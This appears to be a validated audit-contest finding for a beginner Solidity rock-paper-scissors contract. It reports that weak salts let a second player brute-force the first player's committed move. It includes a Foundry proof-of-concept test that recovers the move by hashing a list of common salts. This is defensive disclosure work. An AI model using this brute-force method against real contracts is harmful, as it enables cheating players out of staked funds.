Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

Weak randomness in commit-reveal scheme could lead to attacker revealing moves and possibly cheating.

Summary

The commit-reveal scheme uses keccak256(abi.encodePacked(move, salt)) to create a commitment. If the salt used is weak (e.g., short string or common phrase), an attacker can brute-force possible values and break the commitment, allowing front-running or cheating.

Vulnerability Details

Salts like "secret" or "123" are predictable and short. This allows the second player and possibly an attacker to brute-force the first player’s move after they’ve committed but before the reveal phase, especially when the salt is a known-length string.

Impact

The second player can wait for the first player’s commit, brute-force it, then choose a winning move before committing.

  • Defeats the purpose of commit-reveal fairness.

  • Undermines competitive integrity of the game.

Tools Used

Foundry

POC

function test_RecoverWeakSaltedCommitment() public {
// Set up a game
vm.startPrank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.prank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
// Player A commits using a weak salt
RockPaperScissors.Move moveA = RockPaperScissors.Move.Rock;
string memory weakSalt = "123"; // Weak salt
bytes32 commitmentA = keccak256(abi.encodePacked(uint8(moveA), weakSalt));
vm.prank(playerA);
game.commitMove(gameId, commitmentA);
// Player B tries to brute-force Player A's move (off-chain simulation here)
bool matchFound = false;
string[5] memory commonSalts = ["123", "password", "secret", "test", "abc"];
for (uint8 m = 0; m < 3; m++) { // 0: Rock, 1: Paper, 2: Scissors
for (uint8 s = 0; s < commonSalts.length; s++) {
bytes32 testHash = keccak256(abi.encodePacked(m, commonSalts[s]));
if (testHash == commitmentA) {
emit log_named_uint("Recovered Move", m);
emit log_named_string("Recovered Salt", commonSalts[s]);
matchFound = true;
break;
}
}
if (matchFound) break;
}
assertTrue(matchFound, "Failed to brute-force weak salt");
}

Recommendations

Ideally use some sort of off-chain randomness e.g Chainlink VRF

Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of Salt Uniqueness Enforcement

The contract does not enforce salt uniqueness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.